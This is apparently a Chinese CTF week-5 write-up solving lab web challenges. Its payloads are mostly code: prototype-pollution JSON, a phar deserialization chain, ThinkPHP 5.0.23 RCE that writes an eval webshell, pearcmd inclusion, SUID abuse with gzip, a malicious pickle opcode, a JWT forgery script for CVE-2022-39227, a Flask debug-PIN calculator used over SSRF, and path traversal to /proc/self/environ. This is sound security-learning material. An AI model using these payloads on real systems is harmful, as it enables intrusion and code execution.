const getHMS = (time ) => { let regres = /^(\d+) *\: *(\d+)( *\: *(\d+)( *\. *(\d+))?)?$/ .exec (time.trim ()) if (regres === null ) return {} let [n1, n2, n3, n4] = [regres[1 ], regres[2 ], regres[4 ], regres[6 ]].map (t => typeof t === "undefined" ? undefined : Number (t)); if (typeof n3 === "undefined" ) n3 = 0 ; if (0 <= n1 && n1 <= 23 && 0 <= n2 && n2 <= 59 && 0 <= n3 && n3 <= 59 ) { let HH = pad (n1, 2 ), mm = pad (n2, 2 ), ss = pad (n3, 2 ), fff = typeof n4 === "undefined" ? undefined : pad (n4, 3 ).substring (0 , 3 ); const o = { HH , mm, ss } if (typeof fff !== "undefined" ) o.fff = fff; return o; } else return {} }
大致意思是将传入的时间先分开成时、分、秒、毫秒,n1=regres[1]=时,n2=regres[2]=分,n3=regres[3]=秒,n4=regres[4]=毫秒,当传入的时间中没有毫秒,最后返回的对象也不会有fff属性。在后面注释fallback to automatic detection的部分,有这样的代码,因此如果getHMS函数返回的对象不存在fff属性,就能触发原型链污染。
const { HH, mm, ss, fff } = getHMS(time_str)
首先考虑如何让createData函数的返回值无效,观察函数的代码,我们发现能够返回的地方有两个,一个实在format模式下,一个是在fallback to automatic detection模式下(先执行format),先看format
if (Number.isSafeInteger(d.getTime())) return d;
从上面代码可以看出想要返回无效值是不可能的,因此我们需要想办法绕过format,根据wp可知此处只需要污染basedata即可绕过,同时format函数中还有一段较为关键的代码
sortTable.forEach ((f, i ) => { if (f == "yy" ) { let year = Number (regres[i + 1 ]) year = year < 100 ? (1900 + year) : year; return argTable["yyyy" ] = year; } argTable[f] = Number (regres[i + 1 ]) })
表示支持yy标识符,当年份小于100时,我们认为是20世纪的年份
举例来说,如果format
为20yy-MM-dd
,在format
解析字符串2023-10-01
时,将解析yy
为23
,输出输出为1923
,最终输出的年份是1923-10-01,这一点可以帮助我们获取很早时间的数据。
触发catch的条件是前面try的createDate返回一个无效的日期,或者createDate本身被调用时法神错误
目标:触发createDate
错误,或使createDate
返回无效日期
最后再看fallback to automatic detection模式,当fff为string时直接返回,结合上文我们可以污染fff为无效的字符,使最后的返回时间无效,执行最开头catch中的内容,此时取得是DEFAULT_CONFIG.min_public_time,也就是min_public_time: “2019-07-08T16:00:00.000Z”,结合之前讲的yy标识符,我们只需要污染format为:yy19-MM-ddTHH:mm:ss.fffZ
就能将返回时间改成1919-07-08T16:00:00.000Z.
也就是说污染baseDate
为无效日期即可绕过 format 模式进入 Fallback Auto Detection
routes/info.js
的try
中用的是config.js
中的min_pulic_time
,为2019-07-09 00:00:00
,不带有毫秒,刚好能够触发fff
的原型链污染,为fff
指定为无效值即可
到此为止,使用如下的 payload 可以触发catch
{
“contact”:”1”, “reason”:”2”,
“constructor”:{
“prototype”:{
“baseDate”:”aaa”,
“fff”: “bbb”
}
}
}
进入catch
后,达到了污染format
的条件,但是createDate
的参数变成了config.default.js
中的min_public_time
,为2019-07-08T16:00:00.000Z
,因此可以构造format
为yy19-MM-ddTHH:mm:ss.fffZ
然后基于format
的日期匹配会返回1919-07-08T16:00:00.000Z
的日期,已经将minTimestamp
提早了近一个世纪了
因此最终的payload
为
{ “contact”:”a”, “reason”:”a”, “constructor”:{ “prototype”:{ “format”: “yy19-MM-ddTHH:mm:ss.fffZ”, “baseDate”:”aaa”, “fff”: “bbb” } } }
污染database和fff来绕过format模式——》
污染format模板使他可以以yy模式匹配min_public_time: “2019-07-08T16:00:00.000Z”——》
所以
以Content-Type: application/json
的 Header 用POST
方法向路径/submit
请求即可
然后再请求/info/0
,找到含有 flag 的一条数据
flag{63834b07-2417-4e14-b558-96d8511fe3ac}
真的难 做吐了
week5 Unserialize Again
发现提示
找到源码
<?php highlight_file(__FILE__); error_reporting(0); class story{ private $user='admin'; public $pass; public $eating; public $God='false'; public function __wakeup(){ $this->user='human'; if(1==1){ die(); } if(1!=1){ echo $fffflag; } } public function __construct(){ $this->user='AshenOne'; $this->eating='fire'; die(); } public function __tostring(){ return $this->user.$this->pass; } public function __invoke(){ if($this->user=='admin'&&$this->pass=='admin'){ echo $nothing; } } public function __destruct(){ if($this->God=='true'&&$this->user=='admin'){ system($this->eating); } else{ die('Get Out!'); } } } if(isset($_GET['pear'])&&isset($_GET['apple'])){ // $Eden=new story(); $pear=$_GET['pear']; $Adam=$_GET['apple']; $file=file_get_contents('php://input'); file_put_contents($pear,urldecode($file)); file_exists($Adam); } else{ echo '多吃雪梨'; } 多吃雪梨
phar反序列化
测当前页面在/var/www/html下
把php://input的内容写进$pear 中,文件的路径和名称我们都可控,只要大胆猜测当前页面在/var/www/html下即可(做题的经验),将payload:<?php eval($_POST['cmd']);?> urlencode后传入即可。
预期解:
再来讲预期解,能传入文件,有反序列化,又有file_exists()函数,一看就是phar反序列化了,反序列化很简单,只要绕过__wakeup函数即可,查看php版本为7.0.9,只要让真实属性值不匹配即可。
<?php class story{ public $eating = 'cat /f*'; public $God='true'; } @unlink("phar.phar"); $phar = new Phar("phar.phar"); //生成时后缀名必须为phar $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub $o = new story(); $phar->setMetadata($o); //将自定义的meta-data存入manifest $phar->addFromString("test.txt", "test"); //添加要压缩的文件 //签名自动计算 $phar->stopBuffering(); ?>
将生成的phar.phar文件打开,将2改成大于2的值
因为我们修改了phar.phar的值,因此该文件的签名与修改后的文件不匹配,我们需要用脚本更新签名
from hashlib import sha1 import gzip file = open(r'D:\phpstudy_pro\WWW\php\phar.phar', 'rb').read() #文件的路径 data = file[:-28] # 获取需要签名的数据 # data = data.replace(b'3:{', b'4:{') #更换属性值,绕过__wakeup final = file[-8:] # 获取最后8位GBMB标识和签名类型 newfile = data + sha1(data).digest() + final # 数据 + 签名 + 类型 + GBMB open(r'D:\phpstudy_pro\WWW\php\new.phar', 'wb').write(newfile) # 写入到新的phar文件 newf = gzip.compress(newfile) with open(r'D:\phpstudy_pro\WWW\php\2.jpg', 'wb') as file: #更改文件后缀 file.write(newf)
改完后上传文件,利用phar协议访问即可
?pear=1.phar&apple=phar://1.phar
好难
Final
thinkphp v5
考虑ThinkPHP版本的漏洞
让它报错看下版本
V5.0.23
然后直接上网搜该版本存在的漏洞:
=ThinkPHP是一款运用极广的PHP开发框架 其5.0.23以前的版本中,获取method的方法中没有正确处理方法名,导致攻击者可以调用Request类任意方法并构造利用链,从而导致远程代码执行漏洞 1.访问靶机地址+端口号 进入首页 2.bp抓包变更请求为POST,传入参数,其中pwd为系统执行命令可进行一系列操作 3._method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=pwd
首先抓包进行传参
GET:index.php?s=captcha POST:_method=__construct&filter[]=phpinfo&method=get&server[REQUEST_METHOD]=1
这个参数1 是可以进行修改的
回显了phpinfo
发现命令执行参数全被ban
上传一句话木马
_method=__construct&filter[]=exec&method=get&server[REQUEST_METHOD]=echo%20'<?php%20eval($_POST['cmd']);?>'%20>%20/var/www/public/1.php
然后蚁剑连接后发现根目录下存在flag文件 但是里面内容没有
可能是没权限
进入终端看一下
rwx 最高权限才能读
查看具有SUID权限的命令
find / -user root -perm -4000 -print 2>/dev/null
没有回显?
但是可以读取
cp /flag_dd3f6380aa0d /dev/stdout
别人的:
flag{95abea1a-063c-437a-89a1-cd7a88b65a38}
Ye’s Pickle
Pickle反序列化和jwt加密
Funweb的python_jwt的CVE-2022-39227
有token:
eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MDgzNDI3MzYsImlhdCI6MTcwODMzOTEzNiwianRpIjoibG81ZVJ4bzNtUFlEWldtNzNSTi1QQSIsIm5iZiI6MTcwODMzOTEzNiwicm9sZSI6Imd1ZXN0IiwidXNlcm5hbWUiOiJib29naXBvcCJ9.GhmLODYuwaap1dMW_moY0tk2fnTGOPzh1hIC6mqeTJQErgGcFLT9kcm-V8h-fRcmZzBAoDk_N02MYDa1S1f13xCdNviItCCi2bJTyG-a05rktpJ5O6Erj5A9TiHmZIU8vr5AJsKgsZ2MdDbQnr0R-cYTiuCQezKe37L0lEBdpT0P9F6HI4tnaXx8asXHb16HH8eavyat5oLLqDx_oqe4vIlOCiDOC4R0ZNz-ySNfoGSGlliOjKqRBNHUb_WyJF37qV5APRuq-qlQqFozzUabQfwFuQvYH0D-YDSEiHtpMuWLumUPCECKsHPs60LXW6_taoB4Cjp9R1sVIecnKjm1Zg
别人的脚本:
import base64 from datetime import timedelta from json import loads, dumps from jwcrypto.common import base64url_decode, base64url_encode def topic(topic): """ Use mix of JSON and compact format to insert forged claims including long expiration """ [header, payload, signature] = topic.split('.') parsed_payload = loads(base64url_decode(payload)) parsed_payload['role'] = "admin" fake_payload = base64url_encode((dumps(parsed_payload, separators=(',', ':')))) return '{" ' + header + '.' + fake_payload + '.":"","protected":"' + header + '", "payload":"' + payload + '","signature":"' + signature + '"}' token = topic('eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE2OTc2ODkzNjQsImlhdCI6MTY5NzY4NTc2NCwianRpIjoiOTFvNVVqWXJPTUFmMmRYTVBaajFDUSIsIm5iZiI6MTY5NzY4NTc2NCwicm9sZSI6Imd1ZXN0IiwidXNlcm5hbWUiOiJib29naXBvcCJ9.jc3SP9ETBLURk3lRZZTPsgg-GQIuPpsIBkR710myDdFVy8e1PkVg7vbI4WTj8nnvh_ly9bD2sJJB3MSyXpTRj2ofPTitRjVWf9uZNjG1llWs21aHhjr9JUTPTPrYrQ0DpdvUUGudzV9raR5GSq28Qb_iLEQ4XIWKoGDtFNOvLeqcJcGotR1ygYAuPpTHaX2xidlzSYDbSbBGE55GI1zFS1w1PmsgliAyEJ1Z5IKz5qVZ07D6M-55L15cgWcaoQ9psjCyR4xX4A9GKPlYLwGxLVH0bRRkuyQn2l5JRBAzpMus7qY4srbLwF8XUPqKbje1vaUOt2DAsZA_SeAGw2iziQ') print(token) opcode=b'''cos system (S'' tRcos system (S'whoami' tR.''' print(base64.b64encode(opcode))
pppython? <?php if ($_REQUEST['hint'] == ["your?", "mine!", "hint!!"]){ header("Content-type: text/plain"); system("ls / -la"); exit(); } try { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 60); curl_setopt($ch, CURLOPT_HTTPHEADER, $_REQUEST['lolita']); $output = curl_exec($ch); echo $output; curl_close($ch); }catch (Error $x){ highlight_file(__FILE__); highlight_string($x->getMessage()); } ?> curl_setopt(): The CURLOPT_HTTPHEADER option must have an array value
curl?
?hint[0]=your?&hint[1]=mine!&hint[2]=hint!!
有flag文件 但是权限不够 还有一个app.py
用file协议去读取一下app.py的内容
?url=file:///app.py&lolita[]=0
把它整理一下
from flask import Flask, request, session, render_template, render_template_string import os, base64 #from NeepuF1Le import neepu_files app = Flask(__name__) app.config['SECRET_KEY'] = '******' @app.route('/') def welcome(): if session["islogin"] == True: return "flag{***********************}" app.run('0.0.0.0', 1314, debug=True)
是一个开了debug的flask监听在1314端口
计算cookie值
#sha1 import hashlib import time from itertools import chain probably_public_bits = [ 'root'# /etc/passwd, /etc/shadow验证 'flask.app',# 默认值 'Flask',# 默认值 '/usr/local/lib/python3.10/dist-packages/flask/app.py' # 报错得到] bid = "8cab9c97-85be-4fb4-9d17-29335d7b2b8a" did = "12:hugetlb:/kubepods.slice/kubepods-burstable.slice/kubepods-burstable-pod9a6962f3_0518_44b9_b39d_99b5cbdcbde2.slice/docker-5393cbb4c79037280b98e5c09ab1df1a765d545afcde1166a1af321b068488e8.scope" did = did.strip().rpartition("/")[2] print(did) private_bits = [ '46292774133529',# /sys/class/net/eth0/address 16进制转10进制 #machine_id由三个合并(docker就后两个):1. /etc/machine-id2./proc/sys/kernel/random/boot_id 3./proc/self/cgroup bid+did# /proc/sys/kernel/random/boot_id ] h = hashlib.sha1() for bit in chain(probably_public_bits, private_bits): if not bit: continue if isinstance(bit, str): bit = bit.encode('utf-8') h.update(bit) h.update(b'cookiesalt') cookie_name = '__wzd' + h.hexdigest()[:20] num = None if num is None: h.update(b'pinsalt') num = ('%09d' % int(h.hexdigest(), 16))[:9] rv =None if rv is None: for group_size in 5, 4, 3: if len(num) % group_size == 0: rv = '-'.join(num[x:x + group_size].rjust(group_size, '0') for x in range(0, len(num), group_size)) break else: rv = num def hash_pin(pin: str) -> str: return hashlib.sha1(f"{pin} added salt".encode("utf-8", "replace")).hexdigest()[:12] print(rv) print(cookie_name + "=" + f"{int(time.time())}|{hash_pin(rv)}") #890KUjqCgmGiRRNLpH8a #http://localhost:1314/console?&__debugger__=yes&cmd=__import__("os").popen("ps").read()&frm=0&s=890KUjqCgmGiRRNLpH8a
结果:__wzd3d910b5d784ac96048c1=1702047018|3fe90e7adf4c
所以:
?lolita[]=Cookie:__wzd3d910b5d784ac96048c1=1702047018|3fe90e7adf4c &url=http://127.0.0.1:1314/console? &__debugger__=yes&pin=200-001-804 &cmd=__import__("os").popen("ls").read() &frm=0 &s=lrLipQkNez3cZzDYShlU
但是:需要对&和空格进行url编码
GET /?lolita[]=Cookie:__wzd3d910b5d784ac96048c1=1702047018|3fe90e7adf4c&url=http://127.0.0.1:1314/console?%26__debugger__=yes%26pin=200-001-804%26cmd=__import__("os").popen("cat%2B/flag").read()%26frm=0%26s=lrLipQkNez3cZzDYShlU
4-复盘
根据前面的misc题可以拿到源码,其中关键代码如下
<?php if (isset($_GET['page'])) { $page ='pages/' .$_GET['page'].'.php'; } else { $page = 'pages/dashboard.php'; } if (file_exists($page)) { require_once $page; } else{ require_once 'pages/error_page.php'; } ?>
存在很明显的文件包含漏洞,与week3类似,包含pearcmd.php即可
GET /index.php?+config-create+/&page=/../../../../../usr/local/lib/php/pearcmd&/<?=@eval($_POST[1])?>+/var/www/html/1.php
写入Shell后就是一个SUID提权
find / -user root -perm -4000 -print 2>/dev/null
gzip命令有SUID权限
gzip -f /flag -t
flag{sample_flag}
NextDrive
提示:
随便注册一个账号,把公共资源区的文件都下下来看看,发现这个文件中有蹊跷
test.res.http
HTTP/1.1 200 OK content-type: application/json; charset=utf-8 content-length: 50 date: Tue, 06 Oct 2023 13:39:21 GMT connection: keep-alive keep-alive: timeout=5 {"code":0,"msg":"success","logged":true,"data":[{"name":"すずめ feat.十明 - RADWIMPS,十明.flac","hash":"5da3818f2b481c261749c7e1e4042d4e545c1676752d6f209f2e7f4b0b5fd0cc","size":27471829,"uploader":"admin","uploader_uid":"100000","shareTime":1708341555726,"isYours":true,"isOwn":true,"ownFn":"すずめ feat.十明 - RADWIMPS,十明.flac"},{"name":"Windows 12 Concept.png","hash":"469db0f38ca0c07c3c8726c516e0f967fa662bfb6944a19cf4c617b1aba78900","size":440707,"uploader":"admin","uploader_uid":"100000","shareTime":1708341557215,"isYours":true,"isOwn":true,"ownFn":"Windows 12 Concept.png"},{"name":"信息安全技术信息安全事件分类分级指南.pdf","hash":"03dff115bc0d6907752796fc808fe2ef0b4ea9049b5a92859fd7017d4e96c08f","size":330767,"uploader":"admin","uploader_uid":"100000","shareTime":1708341557290,"isYours":true,"isOwn":true,"ownFn":"信息安全技术信息安全事件分类分级指南.pdf"},{"name":"不限速,就是快!.jpg","hash":"2de8696b9047f5cf270f77f4f00756be985ebc4783f3c553a77c20756bc68f2e","size":32920,"uploader":"admin","uploader_uid":"100000","shareTime":1708341557304,"isYours":true,"isOwn":true,"ownFn":"不限速,就是快!.jpg"},{"name":"test.req.http","hash":"83a065c4db184a69d902a6e5cd56fa43ccb6dc6d0eaee7ae92ebd31ae983e0b4","size":1085,"uploader":"admin","uploader_uid":"100000","shareTime":1708341559212,"isYours":true,"isOwn":true,"ownFn":"test.req.http"}]}
这个文件叫test.req.http 与test.res.http不同 可能有信息泄露
发现在我的资源区可以上传文件,先随便上传一个文件,抓包看看
一共抓到两个包,后一个就是上传文件的请求,前一个check包中应该进行了检测,可以看到我们请求的数据只有hash值和文件名,应该就是根据文件名和hash值来检测的,前文我们已经有了test.req.http的hash值,直接改包上传即可
这时候就能看到资源区出现了1.txt,打开可以看到应该是一个分享文件的请求,发现其中的cookie和我们的不一样,猜测应该是admin对应的cookie
POST /api/info/drive/sharezone HTTP/1.1 Accept: */* Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6 Cache-Control: no-cache Connection: keep-alive Content-Length: 0 Content-Type: application/x-www-form-urlencoded Cookie: uid=100000; token=eyJ1c2VybmFtZSI6ImFkbWluIiwidWlkIjoiMTAwMDAwIiwidG9rZW4iOiIyMTBjZmQ2NTkyZWM0ZjRjMmMzYjljZTY3ZDExNDVmZmQxNWM5MjZlNjI3YmMwYjU2MGUxMmUxNmI2Yjg0ZDg0In0uXh5BcmMxSFBCZV41LSAhLw.XW5QWmdTHl1HLAZLck9MAgs7BQk3ABQKFCoHGSNNTAUPOVgLYldIDRYvUBR3GUwCCTlWDWcBSl0TfwYfdU0aAl1pAQFnABgAEXcFHnAWTgcIOlVbMQAeXUJ4BkghT01RC2hVD2RXHgBHL1MbcRhNXAw+AV1jW0oKR35SG38YS10 Host: localhost:21920 Origin: http://localhost:21920 Pragma: no-cache Referer: http://localhost:21920/sharezone Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0 sec-ch-ua: "Microsoft Edge";v="119", "Chromium";v="119", "Not?A_Brand";v="24" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows"
将uid和token修改成上面的内容,发现我们的账号变成了admin。
自己的资源区中有个share.js文件,下载下来看看
const Router = require("koa-router"); const router = new Router(); const CONFIG = require("../../runtime.config.json"); const Res = require("../../components/utils/response"); const FileSignUtil = require("../../components/utils/file-signature"); const { DriveUtil } = require("../../components/utils/database.utilities"); const fs = require("fs"); const path = require("path"); const { verifySession } = require("../../components/utils/session"); const logger = global.logger; /** * @deprecated * ! FIXME: 发现漏洞,请进行修改 */ router.get("/s/:hashfn", async (ctx, next) => { const hash_fn = String(ctx.params.hashfn || '') const hash = hash_fn.slice(0, 64) const from_uid = ctx.query.from_uid const custom_fn = ctx.query.fn // 参数校验 if (typeof hash_fn !== "string" || typeof from_uid !== "string") { // invalid params or query ctx.set("X-Error-Reason", "Invalid Params"); ctx.status = 400; // Bad Request return ctx.res.end(); } // 是否为共享的文件 let IS_FILE_EXIST = await DriveUtil.isShareFileExist(hash, from_uid) if (!IS_FILE_EXIST) { ctx.set("X-Error-Reason", "File Not Found"); ctx.status = 404; // Not Found return ctx.res.end(); } // 系统中是否存储有该文件 let IS_FILE_EXIST_IN_STORAGE try { IS_FILE_EXIST_IN_STORAGE = fs.existsSync(path.resolve(CONFIG.storage_path, hash_fn)) } catch (e) { ctx.set("X-Error-Reason", "Internal Server Error"); ctx.status = 500; // Internal Server Error return ctx.res.end(); } if (!IS_FILE_EXIST_IN_STORAGE) { logger.error(`File ${hash_fn.yellow} not found in storage, but exist in database!`) ctx.set("X-Error-Reason", "Internal Server Error"); ctx.status = 500; // Internal Server Error return ctx.res.end(); } // 文件名处理 let filename = typeof custom_fn === "string" ? custom_fn : (await DriveUtil.getFilename(from_uid, hash)); filename = filename.replace(/[\\\/\:\*\"\'\<\>\|\?\x00-\x1F\x7F]/gi, "_") // 发送 ctx.set("Content-Disposition", `attachment; filename*=UTF-8''${encodeURIComponent(filename)}`); // ctx.body = fs.createReadStream(path.resolve(CONFIG.storage_path, hash_fn)) await ctx.sendFile(path.resolve(CONFIG.storage_path, hash_fn)).catch(e => { logger.error(`Error while sending file ${hash_fn.yellow}`) logger.error(e) ctx.status = 500; // Internal Server Error return ctx.res.end(); }) }) module.exports = router;
/s/后的内容为hashfn的值,其中前64位作为hash,请求中的参数from_uid的值作为const from_uid的值,用于后续验证文件是否可共享,是否存在于系统。在通过两个检测后,就会发给客服端,其中对于文件名基本没有过滤,我们通过../穿越目录访问环境变量即可
router.get("/s/:hashfn", async (ctx, next) => { const hash_fn = String(ctx.params.hashfn || '') const hash = hash_fn.slice(0, 64) const from_uid = ctx.query.from_uid const custom_fn = ctx.query.fn
inux下的环境变量位于/proc/self/environ
最后的payload
curl http://node4.buuoj.cn:29720/s/469db0f38ca0c07c3c8726c516e0f967fa662bfb6944a19cf4c617b1aba78900/../../../../proc/self/environ?from_uid=100000 -o 1.txt
然后看1.txt文件即可
结束了 终于写完了 这week5要写吐了 好难好难好难
接下来就是先把java和反序列化的课看完 然后再补补misc
QAQ